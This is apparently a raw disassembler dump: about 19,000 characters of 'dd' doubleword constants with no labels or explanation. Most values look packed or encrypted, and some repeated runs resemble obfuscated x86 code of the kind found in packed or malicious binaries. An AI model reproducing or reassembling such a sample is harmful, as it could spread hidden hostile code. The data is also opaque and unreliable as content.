		dd 26A8EA96h, 0B6000000h, 5B3E1DF8h, 9D148F6h, 24EDAB23h
		dd 6A4D1437h, 0C07B4ADDh, 80904E78h, 0EF1B8DBh,	2F2B4E91h
		dd 21h,	9D148CCh, 26B16523h, 5FFB5A1Ah,	0DAFDAC92h, 2C2FE713h
		dd 0E15F4209h, 0C0927B5Ah, 92B5F878h, 170D04ADh, 0C76BAE90h
		dd 0C4F0337Eh, 22E90C4Fh, 1BE23C73h, 0FC5D0B9Bh, 0A2000h
		dd 9BC05700h, 3625EFBDh, 0D5868A58h, 72E929F7h,	0C4FC694h
		dd 0FED9932Eh, 98664417h, 31FFDD7Eh, 0CD9B79E2h, 67391744h
		dd 8A1AFC83h, 0C59F84D6h, 898C4A26h, 0EA6FEFD2h, 6B9476FDh
		dd 91187EC7h, 7EC76BAFh, 0C90CF134h, 0B48EF596h, 4CFBD87Ah
		dd 5204DF66h, 468978C1h, 0F232DF23h, 0C152896Bh, 5470E78h
		dd 0AD8AE632h, 1440EFh,	0C271385Bh, 3C9F64DCh, 38DD0D76h
		dd 0F43B1D12h, 0C078C0h, 0B0964516h, 0C0F44729h, 0A689CC78h
		dd 31429930h, 0A4BC9175h, 0B9E0C249h, 22655175h, 1B3E1DF6h
		dd 3DC7A554h, 0A018FE24h, 67AF2FE2h, 0D56245F4h, 4B6ECDF6h
		dd 9173FA72h, 164B6EA6h, 0F06BA7D3h, 0A62306CDh, 0B4A76E2Ch
		dd 0F3D5CA91h, 784B6EA5h, 1F638635h, 0FE8866F5h, 56DDC31Bh
		dd 4566C3FBh, 1C1A3D80h, 4FD2357h, 0B4975876h, 68545127h
		dd 4F8F8745h, 0AD7497C4h, 7D97DBFEh, 0C8F4BBDEh, 0E0EC0F4Ch
		dd 7A4E0D72h, 3550F7CCh, 5617E7CCh, 13Bh, 85D1487Dh, 2DEE8B0Dh
		dd 0AB91408Ch, 0C0864924h, 0A58BCE78h, 0BB945DE0h, 17DE015Ah
		dd 0F0568DE4h, 9654520Dh, 0F3BADD7Eh, 96C54C10h, 3427EAB8h
		dd 0FAAD0411h, 0C89174h, 0A9B25FBBh, 4714FDCBh,	0BFC01724h
		dd 0C02E6A29h, 69F21FFBh, 754BD8Bh, 0A37BE4E4h
		dd 8B8745BDh, 3E6ADD0h,	2A48B476h, 0D8B6F92Ah, 2D13CB4Eh
		dd 92B5A66Fh, 0E36AE8CBh, 24227258h, 6F341A5Dh,	0B38A64D9h
		dd 0C49779D6h, 33773215h, 3F83F9DEh, 0D6EE7260h, 31F81B40h
		dd 27F5D382h, 414E71EAh, 2422A987h, 0AE684FBDh,	921AF863h
		dd 0A9B1931Ah, 6F362422h, 7A4F269Eh, 9D802F88h,	0CDB9CC10h
		dd 0D20A0E8Fh, 0BED74ECh, 49AFCE4Ah, 66A98ECDh,	0D23F0D83h
		dd 3457040Ch, 1E00876Dh, 0A3AFCE4Ah, 818EB160h,	2985F36Fh
		dd 5376E52Dh, 3457040Fh, 7CE0D70Bh, 86A413F5h, 0A6559829h
		dd 0F620975Fh, 9C5A401Bh, 0C5C3E675h, 86A45C3Eh, 0EF9EE129h
		dd 960E960Ch, 86A42D0Fh, 8C6FB229h, 809549C8h, 0F863AFDBh
		dd 3C5F0ED5h, 17FD253Ch, 4F99DA9Fh, 0E02F8568h,	228970FDh
		dd 3462380h, 439F25h, 4A3C0000h, 0AEB20DD2h, 3ACA356Fh
		dd 0C7C56345h, 0C2A5E87Eh, 2107DF42h, 0C0D6079Ah, 0C930B78h
		dd 78C0B72Ah, 0C896CAFh, 0B262A6C9h, 2AF6CBA9h,	590516EAh
		dd 7CC23161h, 846A19E2h, 0C0ED53FDh, 39559878h,	4E0D0446h
		dd 0AB73E670h, 828F4DC5h, 0CEFB6D9h, 0C080307Fh, 846AAD78h
		dd 280E4DC6h, 0B82DAA6Ah, 556A2936h, 62294CFBh,	0D83B097Fh
		dd 0F9606083h, 31B43B21h, 0F672B8E9h, 2108CDB3h, 6C8500EFh
		dd 3542FDE0h, 72B8B05Fh, 0A56340D9h, 14F6EB70h,	9972B890h
		dd 3AC1A756h, 6CB0ADDFh, 0F1FE2164h, 6CB16F1Bh,	7F84FBA9h
		dd 0F09EAD06h, 1885h, 0D148AC00h, 0B1652309h, 0C249C7AAh
		dd 78C07B2Fh, 0D2CEF134h, 42h, 898C4A6Fh, 0EA6FEFD2h, 6B9476FDh
		dd 9F197EC7h, 0C76B3618h, 0C978BB7Eh, 0CE30EF96h, 5C0B2FA6h
		dd 0D040FE76h, 0EC24688Bh, 0D6854C6Fh, 0CFF269AAh, 0B9982508h
		dd 3578C131h, 9DC09B77h, 3376F3D6h, 854A2B10h, 66ED3DC3h
		dd 7EC7CE84h, 0DF93C609h, 75391C19h, 6088BF9Ch,	9F0B9A92h
		dd 6A7423Eh, 47D00000h,	0AC683614h, 0D03D1AFh, 70A2704Eh
		dd 0D63F0DEBh, 600CA785h, 0DFBD9E77h, 78560511h, 14F269AAh
		dd 0B290CB46h, 9375FCE0h, 1884D68Dh, 8C4A9F3Eh,	44A34E89h
		dd 0C8B2AD82h, 0AABFE619h, 3D74E89Eh, 7253855Ah, 0D95137EFh
		dd 96F8DA61h, 3A7D7EC7h, 0C2E7CA57h, 296C78BFh,	4724C639h
		dd 6A283679h, 0C68DB0ABh, 28FE63E3h, 0AB30BB42h, 0F235B071h
		dd 96C54E0Ch, 61F8F8B3h, 8A4CD3B9h, 0CEAA6AB1h,	768F9156h
		dd 652C0064h, 6B278E70h, 0EDD013AAh, 89472D70h,	27F5D388h
		dd 0B83A71EAh, 47DFF75Fh, 5FFEAE6h, 9F780000h, 410DEBCh
		dd 65AB7957h, 0C84A18F6h, 2EE7B593h, 0B8B44F2Dh, 8765F61Fh
		dd 20FE5DB9h, 0BC9AC152h, 5A3823EEh, 3B1DA488h,	0C084D68Eh
		dd 0D24A47E6h, 0C76B694Bh, 0C8ABEE7Eh, 174E0D04h, 0B9B1AE5h
		dd 0B6BDB91Ah, 0C1000005h, 59270556h, 0F4C2A0BBh, 93613F1Ch
		dd 30FEDC7Fh, 0FD9876E5h, 0AEAD686Fh, 471402D0h, 0E3789B69h
		dd 81DA3705h, 66EDD1A3h, 84D68E84h, 4902F09h, 2B2B4E0Dh
		dd 0B8A37336h, 391FCE95h, 0B78155B2h, 0B18FD278h, 482AB129h
		dd 0CD78B852h, 0A9B25E8Ah, 0BD346C6h, 65AB6025h, 0AFD2898Dh
		dd 0BF67B5E8h, 2FA72508h, 95B8A371h, 562E1097h,	70B378B8h
		dd 0C0A28EC1h, 597D3C83h, 6BBEE976h, 0C00372B0h, 0A0279F9Dh
		dd 72B12CBEh, 901D0043h, 72B12CBAh, 3F259A48h, 0A6C99281h
		dd 2C3F21A8h, 81C472B1h, 3550EFD2h, 56EA9EF4h, 0C1h, 8365EC64h
		dd 0C172B124h, 5B220754h, 898DBFB4h, 4C2FDEFBh,	878C4AE7h
		dd 7EAB1D4h, 3B1EA732h,	0FEADAE66h, 97AE9118h, 6D3278BFh
		dd 0D9BC752Fh, 4CC9ACBEh, 24AB2309h, 78BF7242h,	0A3C69580h
		dd 0D1B4F7DCh, 8026D649h, 0F96049B8h, 0A9B43B21h, 0AEA3B08Dh
		dd 0D148486Bh, 0E79C2309h, 249DA6ABh, 0FEADAE64h, 32E2A018h
		dd 8F824629h, 0F120EECCh, 0D213336Ah, 0CB2CECBBh, 48CCFh
		dd 2F2CEB00h, 0CA918351h, 69F21EECh, 655BD8Bh, 0A0BB5A28h
		dd 924527C2h, 2CFAD883h, 0C59371EAh, 612F0D4Eh,	0FBCDABB0h
		dd 8FAE9017h, 593384D6h, 8A8C4ABAh, 0A663AED1h,	8AF87F0Ch
		dd 0FF7B5E0Dh, 0A0h, 9D1489Ch, 824F9C23h, 0DCB78B7h, 2239DB03h
		dd 0A68938FFh, 4200E629h, 26AE8CCFh, 6F618B61h,	0CB92B5A6h
		dd 75D81098h, 1843CE92h, 396CF5F5h, 0E9CF7EDDh,	0B0E1BB62h
		dd 92B5F872h, 0E63ED694h, 0B0E17D5Fh, 10BF0272h, 482B30E4h
		dd 0A38951C8h, 0E0C2A42Bh, 130072B0h, 3D206348h, 0EC4138BFh
		dd 0BBFE6CA9h, 0B8B0CC84h, 1612731Dh, 3D9h, 4E2799Eh, 9F7DDE36h
		dd 3E1C3FD1h, 0DBB9A270h, 7553080Dh, 0D04592DAh, 37DFAD8Bh
		dd 9B784624h, 0FD14E2C0h, 0CAAE805Eh, 0D6906143h, 6D0CE684h
		dd 0C76B593Bh, 6AF8CE7Eh, 0AF747EC7h, 0FCE81707h, 45B6E93Dh
		dd 63C8A4F4h, 57CA4A2Dh, 0C522A98Fh, 4278B7BEh,	7998DCFFh
		dd 0F5AFABE2h, 2F9011A9h, 37433h, 47140300h, 0E2799B69h
		dd 81DA3604h, 1E3DD5A3h, 0B8A37240h, 0AA2D3FDAh, 4412F06Bh
		dd 0DDAB89D2h, 79472536h, 13E5C398h, 8FC6A82Fh,	714B84D6h
		dd 4E0D04D2h, 502EA368h, 0A8794307h, 0A3C6957Ch, 3E3EF9DCh
		dd 961D03DBh, 78C055FBh, 48DFBD00h, 95301D93h, 0D4D10ACFh
		dd 66CAF90h, 0A5B65F23h, 3F1CF9C7h, 0E0041C1Ch,	0D049302h
		dd 2AE72B4Eh, 50C95331h, 6E2CA48Ah, 0CE95B8A3h,	7B8B5EEBh
		dd 0CD1078C0h, 6E86FE7h, 8B78C05Bh, 9DAA6548h, 78C05BC7h
		dd 214417FDh, 2338DDh, 0B5E2D9A1h, 0B74C33E1h, 0E48FC5CEh
		dd 0B50C280h, 0FFEE21E8h, 51916E98h, 62B0F1D4h,	0BE000000h
		dd 0DBDDBF46h, 1F6278BFh, 0D148D73Ch, 24AB2309h, 7EC76B42h
		dd 0E4C64DC7h, 697EC76Ah, 16947726h, 0BF9BB88Fh, 9C763478h
		dd 0B9589CBFh, 9310F3A2h, 4A202D50h, 8078C03Bh,	8FCC4995h
		dd 9A79BDE0h, 3B21038Ah, 63A678C0h, 6A3291B4h, 0C4724615h
		dd 0E13D48FFh, 5311E48Fh, 78B99CBFh, 0E8h, 4E0D049Fh, 0F0B52D2Bh
		dd 12014B60h, 9C7E7304h, 0D37EC80Fh, 0AA2552CCh, 0E3260B9Ah
		dd 4BD93C00h, 0C785E2C4h, 6AF1207Eh, 589B8047h,	0C574E72Ch
		dd 0A8B35EA2h, 8BD04185h, 892116ADh, 1FDD7EC7h,	0BE8265F6h
		dd 5C2A0853h, 8383A6B5h, 0DB62489Eh, 78BFA960h,	2BE35E25h
		dd 3626088Fh, 68AB78C0h, 0DC949B35h, 47F665B0h,	0B1DE9C61h
		dd 0F2A275ABh, 0ED104BC6h, 43CD4326h, 9B2208DEh, 72B558EFh
		dd 4D0BF134h, 5EFD16C8h, 0E7C5743Bh, 36DBFC19h,	5DFE1661h
		dd 0CC6592Ah, 0BBFE265Dh, 0A00117ACh, 1B4A4h, 754C300h
		dd 0A2B95B29h, 411AF6C4h, 0DE7D9563h, 78E33200h, 6A6DFF9Ah
		dd 4D2B0ABh, 9D6B4912h,	3907E576h, 0D3A583D8h, 928668EFh
		dd 310B84D6h, 4A110492h, 0E8739E6Ch, 21038A02h,	0A67EC76Bh
		dd 9B0A8063h, 888CD148h, 0B73E24D3h, 78BF9AE0h,	0EAF71A5Dh
		dd 78C03B14h, 6E91CA4Ah, 4F72E92Ah, 518DF226h, 0B0779AC1h
		dd 387F2D01h, 8FE18203h, 0BF09E4h, 4A300000h, 6B694BD2h
		dd 0ABEE7EC7h, 4E0D04C8h, 2D2EE72Bh, 6E08FD0Ah,	937E7EC7h
		dd 6F92C94Bh, 4D1BF9A8h, 767497C4h, 0DAFD5EB8h,	0C4A62D13h
		dd 497EC765h, 0BEA32306h, 51C48268h, 3D20E70Ah,	8DBD38BFh
		dd 3F8278BFh, 0DA61D961h, 78C03EF8h, 0D7573A7Dh, 0F8B69C42h
		dd 541B3E1Dh, 676CF371h, 6472B5E5h, 937D3B21h, 0FBDEA5C8h
		dd 8856BF7Dh, 0E6ADD08Bh, 8A8B5937h, 0ED9CBF54h, 0ABEE78B6h
		dd 2A268717h, 0B9h
		dd 240259BEh, 0BF9DBE56h, 5E3C1FF1h, 0FBD98290h, 9573E82Dh
		dd 0B06572FAh, 17FFCDABh, 7B986644h, 0DD3402E0h, 0EACEA07Eh
		dd 0D6938163h, 8D2C0684h, 6C4A1104h, 0AE8739Eh,	4E0D049Bh
		dd 0FA2AE72Bh, 0C76B9173h, 24D3167Eh, 7DA5BC46h, 9D3AD997h
		dd 67E36206h, 0B29544FCh, 9D5CAD34h, 9EE178B7h,	53BF7D7Bh
		dd 3B1EE508h, 0E3C19A77h, 795FFC15h, 0DD005BBBh, 6B783316h
		dd 7E86FFE7h, 0E13D824Ah, 7F4D2B30h, 62A6C992h,	78E32EB0h
		dd 0F9DF8E55h, 5BE3934h, 86A99C7Eh, 0ABDE215Eh,	0A0831BE6h
		dd 146BD9E5h, 361447CAh, 0DF35A968h, 0E392597Ch, 3C4C0h
		dd 20610000h, 48130415h, 2B30E125h, 0C4FC408h, 0EA71A5E9h
		dd 0C99283C7h, 0A8B362A6h, 8AD14185h, 6EED2367h, 4E0D074Bh
		dd 89562A2Bh, 4C681E6h,	83000000h, 348704EEh, 0C895C24h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 242C895Ch
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68243489h, 6095h
		dd 0BF243C89h, 60F1939h, 815FFD89h, 4ECh, 24248900h, 4240481h
		dd 5E000000h, 8904EC83h, 468F242Ch, 2434FF08h, 4C4815Eh
		dd 8B000000h, 8952242Ch, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 514CE95Ch, 42D4FFF8h, 61BFED5h, 10254001h, 1F14ECB7h
		dd 2998B81Ah, 0C503060Fh, 9327E0FFh, 0FAB409E8h, 0FB2E68F0h
		dd 57541CCBh, 8D383CFEh, 0DC3D73EFh, 0F12143FAh, 7D810D4Bh
		dd 71B285Ch, 29831CC8h,	27C56D67h, 97FF1BDDh, 0A97F7002h
		dd 6E38698Ah, 0DF3E677Eh, 695A02C9h, 5A5D7E0Ah,	78483FBCh
		dd 0A4B50A4Dh, 830664Bh, 0FA33746Eh, 7B89122Bh,	0B48063AFh
		dd 0FD445976h, 0D95C5EE6h, 468B3B16h, 0D12B4938h, 2DF750C3h
		dd 8D8D17B7h, 60F2B95h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 2CC35545h, 0CA58589h,	0B8660607h, 8D89CF32h
		dd 6070679h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	60C35040h, 84C0F8FEh, 8DD38037h, 2CE585C7h, 5B980607h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 41FCBCC3h, 27F86B07h, 2D0585C7h, 607h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 738A96C3h, 0E721EB20h, 9D8B7ED2h, 6071019h, 399B5FFh
		dd 83BB0607h, 0FF15D403h, 700BD95h, 198C0F06h, 0E8000000h
		dd 0Dh,	0E609F23h, 7F4DF9BDh, 9CE95066h, 81BD89C1h, 5806071Dh
		dd 95FF006Ah, 60716B5h,	0DEBC08Bh, 0EBE4376Fh, 1ADC3315h
		dd 0DCA5D28Ch, 308D8DC4h, 0F060F2Ch, 8D89D9B7h,	6070679h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 36C35545h
		dd 19FFCFC3h, 0E585C7F9h, 8806072Ch, 0C700006Bh, 72D0585h
		dd 6, 4646BA00h, 0B5FF67EEh, 6070C91h, 6BE8BE66h, 0BD95FFh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 567752C3h, 8B0F2CC6h, 3, 6ADF8B66h, 0B595FF00h
		dd 8B060716h, 357EEBC0h, 9CF0A57Eh, 12D7EB1Eh, 6846DB38h
		dd 552200E0h, 61C90A0Dh, 0DC71413Eh, 9CC2CF50h,	681EDB70h
		dd 8BDB6B28h, 4CB56CB8h, 7817E7CCh, 3750B4C1h, 29C6CDDFh
		dd 39100730h, 9D48B5D0h, 3466AB96h, 208ECFCCh, 0B3AFE2BCh
		dd 6F3909ACh, 0DC5312E8h, 5D1D503Ah, 503D2121h,	0F621B806h
		dd 0ADD3D23Ah, 0D1F6D666h, 25452B81h, 0F0A41743h, 8BB5A585h
		dd 53F94B02h, 712D7EEDh, 0E1E74670h, 0CB8D8D3Eh, 6A060F2Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0D436C352h, 0BD8BE712h, 6071CB5h,	9A5EF681h
		dd 8D89236Fh, 6070679h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0AEC35242h, 0C7C3B2BEh, 72CE585h, 74F006h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0BB4ABF12h, 0C7C04FBCh, 72D0585h, 6, 81666000h
		dd 609E4BC3h, 0CA5D8DBFh, 0DD952306h, 6106070Bh, 218D8961h
		dd 0FF060720h, 711C5B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 122297FAh, 55157D55h
		dd 0B5892726h, 6073025h, 0BD95FFh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B82F18C3h
		dd 4B3D8A00h, 9589BE22h, 6071B19h, 5E9h, 97ACC100h, 6A8F34h
		dd 16B595FFh, 0C08B0607h, 3F712CEBh, 0A3EBEA85h, 0D94B22E6h
		dd 0B819074Fh, 39309B7Ah, 61247730h, 76777293h,	5B0BEBF2h
		dd 2F49B3BAh, 160F0AA3h, 401AE8A7h, 5E8B784h, 6A000000h
		dd 0BAD76379h, 79B5015Bh, 81060709h, 6B4FC3h, 0C38B6600h
		dd 8166F633h, 0FFCABBD0h, 8C0F1E34h, 3,	5FCB8B66h, 81C18B66h
		dd 61B944C7h, 2840F2Fh,	0B2000000h, 8C7818Bh, 0BA27D58Dh
		dd 786D1818h, 2A7BEF81h, 6E914BEh, 79000000h, 0B634C0C8h
		dd 333C8928h, 261952Bh,	0B5890607h, 6071D49h, 91C0EE81h
		dd 13E81FF6h, 2C000000h, 729D8C1Bh, 0E1DD7211h,	40F79554h
		dd 37539BFBh, 10E8FB68h, 8F000000h, 0EBF6E08Eh,	0EF24752Fh
		dd 0C92E63DAh, 0B874422Dh, 7C1A5083h, 0C6815859h, 1FF691BCh
		dd 1B1BD89h, 0FE810607h, 0FFFF9590h, 17850Fh, 9D290000h
		dd 60706C5h, 21E9h, 0F76C3200h,	0A7DEDD11h, 17879F20h
		dd 0CF8B6618h, 0FFFF46E9h, 27451DFFh, 0B4480660h, 58EC7BC9h
		dd 10EB5C30h, 4	dup(0)
		dd 0D18AC08Bh, 0FF5BD83h, 75000607h, 1BD8309h, 60730h
		dd 53501974h, 2DB8C08Bh, 89000004h, 709D585h, 0A79D8D06h
		dd 0FF0609ACh, 83585BD3h, 73001BDh, 17740006h, 2DB85350h
		dd 89000004h, 709D585h,	969D8D06h, 0FF0609A9h, 6A585BD3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 3A6BC350h, 197E4175h, 5004EDB1h, 8166C08Bh
		dd 8BD2E0E2h, 708C98Dh,	0F98306h, 88840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 64050AC3h, 2C3D8Bh, 820F0000h, 6, 2545B58Bh,	0FF0B0607h
		dd 50840Fh, 958B0000h, 6071735h, 95893F8Bh, 60732C1h, 72D8D89h
		dd 0C0320607h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	74C35141h, 3D3D9C25h, 0DE9h, 2C53E200h,	34CFD25Eh
		dd 655C1E67h, 0AAF3F95Dh, 2011BD01h, 49350607h,	89535041h
		dd 706F995h, 585C606h, 4706072Ch, 992DBAFCh, 39685476h
		dd 669622BDh, 3481F08Bh, 0F4351524h, 0ADB5FF4Ah, 8D060731h
		dd 0A7B1F85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 800FF344h, 6, 1C8DB58Bh, 0D0FF0607h
		dd 0AF85C281h, 85894507h, 6070859h, 11ED958Bh, 85C60607h
		dd 6072C05h, 959D8953h,	2906070Ah, 72CC5B5h, 1CC76806h
		dd 49BE8DBFh, 812E8ACCh, 763B2434h, 0B5890527h,	6070C49h
		dd 31ADB5FFh, 95890607h, 60712E1h, 7B1F858Dh, 9589060Ah
		dd 60710E9h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0B1668EC3h, 8D5790DCh, 0A38DA85h
		dd 0E5858906h, 8906070Fh, 7206985h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0F8570F31h
		dd 23AEFCF3h, 39B52B05h, 89060703h, 71299B5h, 6A206A06h
		dd 6995FFFFh, 35060720h, 53504149h, 126D85C7h, 10607h
		dd 85C70000h, 6072865h,	0
		dd 1BC18D31h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 73F92BC3h, 60606059h, 719D8B61h
		dd 61060701h, 0BB9958Bh, 0F610607h, 858BD7BFh, 6070AF1h
		dd 10E9h, 93DC7A00h, 64A9831Fh,	7DD9397Bh, 0D9792071h
		dd 8BA663Dh, 0A3648Ch, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 86C6C351h
		dd 8B2E16F4h, 7304595h,	7DBD8306h, 60721h, 5F840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0AE4900C3h, 103B8546h, 8B6DB04Dh, 0BE6656D0h, 8B5E34C5h
		dd 72C2D85h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 4FD4C9D7h, 84C73748h, 89E08B1Ch
		dd 7027DBDh, 0FDBD8306h, 60705h, 41D850Fh, 0B58B0000h
		dd 6070601h, 2C0585C6h,	6A560607h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7F06C351h
		dd 9468D539h, 8BBEEA20h, 243481D3h, 172F104Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 23C35545h, 0C860Fh
		dd 8B0F0000h, 6, 7518D89h, 0B5FF0607h, 60731ADh, 15B53156h
		dd 5E060706h, 7B1F858Dh, 958B060Ah, 6072791h, 31099589h
		dd 0D0FF0607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0FBC35747h, 82CDE301h, 2800F90h, 50000000h, 0D78B505Eh
		dd 6860F90h, 81000000h,	0CF33EDDEh, 0C5EE8113h,	8D0A1F7Eh
		dd 70B658Dh, 1D18B06h, 7301995h, 69BE5006h, 89638FC4h
		dd 46A240Ch, 282D9509h,	0BF0F0607h, 4E8F0h, 10000000h
		dd 8B560000h, 0E8505EF0h, 9, 0AB009F03h, 9033A958h, 448B5AC4h
		dd 0CE90424h, 18000000h, 0D61F80EAh, 46B24BADh,	8BFCA891h
		dd 0CE800h, 0B3000000h,	6762ED2Fh, 2F99F22Ch, 0BE6605F3h
		dd 895EA8EFh, 60042444h, 1AD2BA66h, 0E8505861h,	10h, 98945D4Eh
		dd 4F17E463h, 93B34475h, 7BF53D24h, 14E9h, 827D3000h, 0D1BAE18Bh
		dd 0C44CCD5Dh, 226F139Ah, 620DBD7Ah, 0FF5E5A47h, 71409B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0D0FF5061h, 4D1BBA66h, 1409BD8Bh, 7E90607h
		dd 28000000h, 0B245165h, 7F03FE22h, 81D78A3Ch, 0F8C7h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 34841F3Eh, 47C7A39Ah, 2024h, 53006A60h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 2493CB6h, 535C6C91h,	0F2BF0FE6h, 2EE6BD83h, 0F00060Fh
		dd 16B84h, 8F0F5100h, 6, 0B25958Bh, 835E0607h, 0BD0128C7h
		dd 6071DE9h, 6A2E07C7h,	0C7F56469h, 74610447h, 66600061h
		dd 7954F781h, 0CC94D881h, 8B6127DFh, 0F2EEE85h,	0BA606006h
		dd 6A987E50h, 1FB98589h, 8B610607h, 7161985h, 47896106h
		dd 0F2858B0Ch, 8B060F2Eh, 704F9B5h, 12E906h, 0F6030000h
		dd 0AF9FB8E4h, 61D95596h, 0AA76BF2Eh, 0E2A1CA07h, 6A084789h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 1A9FC357h, 9B4A9FEDh, 13E94320h, 12000000h
		dd 0DAC255A9h, 7F571CF8h, 5074B00h, 6A2D21B1h, 9523DAF4h
		dd 60700A1h, 0C783F38Bh, 0C769B628h, 6F632E07h,	47C7F86Eh
		dd 67696604h, 8800F00h,	0F000000h, 283h, 8B616000h, 0F2EEA85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 5959BF37h, 9E9E3h, 56D00000h, 0FF0E3259h
		dd 89F2A20Eh, 707FD85h,	0C478906h, 2785952Bh, 81660607h
		dd 8BAED9C6h, 0F2EE685h, 0A58D2906h, 8906072Ah,	6A0847h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 73AC3DC3h, 5DBA25A2h, 12E9E8h, 3AEC0000h, 3B6CB6C0h
		dd 0D3491FD9h, 0A4EEDEB2h, 0E6C86F19h, 8DD18B58h, 703898Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 5A081D5Dh, 887BA07h, 4FD2BE91h, 0E95045AAh
		dd 8, 617D49A1h, 1F0848AAh, 56006A91h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 9D8E2C7h, 8166F3FDh
		dd 29788CC2h, 71AFD9Dh,	65B5FF06h, 0F906070Bh, 6BF7C268h
		dd 94BE66CCh, 24048149h, 3394183Eh, 0D71B6FBAh,	9B5FF31h
		dd 33060714h, 7278995h,	0FD0FF06h, 280h, 0B8F38B00h, 0
		dd 0C00BD68Bh, 36840Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0ADD61FC3h, 68C0Fh, 85290000h
		dd 607138Dh, 1BE9B5FFh,	95FF0607h, 60700BDh, 0CA80C08Bh
		dd 0F5BD8352h, 6070Fh, 0BD830975h, 6073001h, 50197400h
		dd 0B8C08B53h, 42Dh, 265D8589h,	9D8D0607h, 609AD0Eh, 585BD3FFh
		dd 3001BD83h, 74000607h, 0B8535017h, 42Dh, 265D8589h, 9D8D0607h
		dd 609A9AFh, 585BD3FFh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 1CC35040h, 0E2FF921Fh, 191C3AE0h, 0DE8h
		dd 0F016F00h, 9FC65BA7h, 0D6612EDh, 0D38B781Dh,	0DA81665Eh
		dd 0C08BD1FBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0ABC35343h, 830FDBB0h, 6, 850Fh, 85890000h, 60730F5h
		dd 0EE9C08Bh, 0F8000000h, 5BCA58h, 2 dup(0)
		dd 5EDE900h, 97800000h,	0FC18E6C4h, 5DB3815Fh, 0C05220FEh
		dd 26EFBD9Bh, 0B0BC5735h, 8F6DEE27h, 280655C1h,	0C4A2B95Ah
		dd 62401BF6h, 4325AC90h, 0C884D6A2h, 0D044FEEh,	2EE72B4Eh
		dd 8C89472Dh, 0EB70A3CFh, 0A81E01C8h, 0A930A820h, 7EC76AC7h
		dd 3214094Ch, 0B77EC76Bh, 44CD9174h, 61B0F417h,	8193D7FAh
		dd 0DB36F4DAh, 0B3965D80h, 7D61B4F8h, 0DCA3C695h, 4AC60A2Dh
		dd 6BAAEE11h, 1206CDF0h, 3980DFA4h, 58160A71h, 0F7BB9EBDh
		dd 9563411Ah, 39F7DD7Eh, 945B7EDDh, 462BED61h, 0C7AAD6C7h
		dd 0CB908351h, 4E66DE5h, 897EC7DDh, 0F7D96046h,	7C7EC7DCh
		dd 579B5639h, 6D799CBFh, 9AC15311h, 3DCDB077h, 0C11DE246h
		dd 0AB21A299h, 36DDA184h, 0C47A3F25h, 0A0739DC7h, 0EF9EBD57h
		dd 490E960Ch, 4B4DE194h, 75391CD2h, 1F01889Ch, 0A47EC7B9h
		dd 54CCB261h, 0C7B8EBCDh, 4A2D707Eh, 0B9AB828Fh, 30E17EC7h
		dd 51C4082Bh, 8ABEE70Ah, 4A2C6635h, 63B7CE75h, 1F97DE88h
		dd 0C7ADB698h, 15F83B7Eh, 8BD4h, 0D04FB00h, 69F0684Eh
		dd 7EC76B87h, 2BE6C90Ch, 0C76B461Eh, 0C19A7C7Eh, 1EB95A9Eh
		dd 0EA8F57BEh, 6D903F28h, 82D1A6AEh, 0EA116648h, 0DE88299Bh
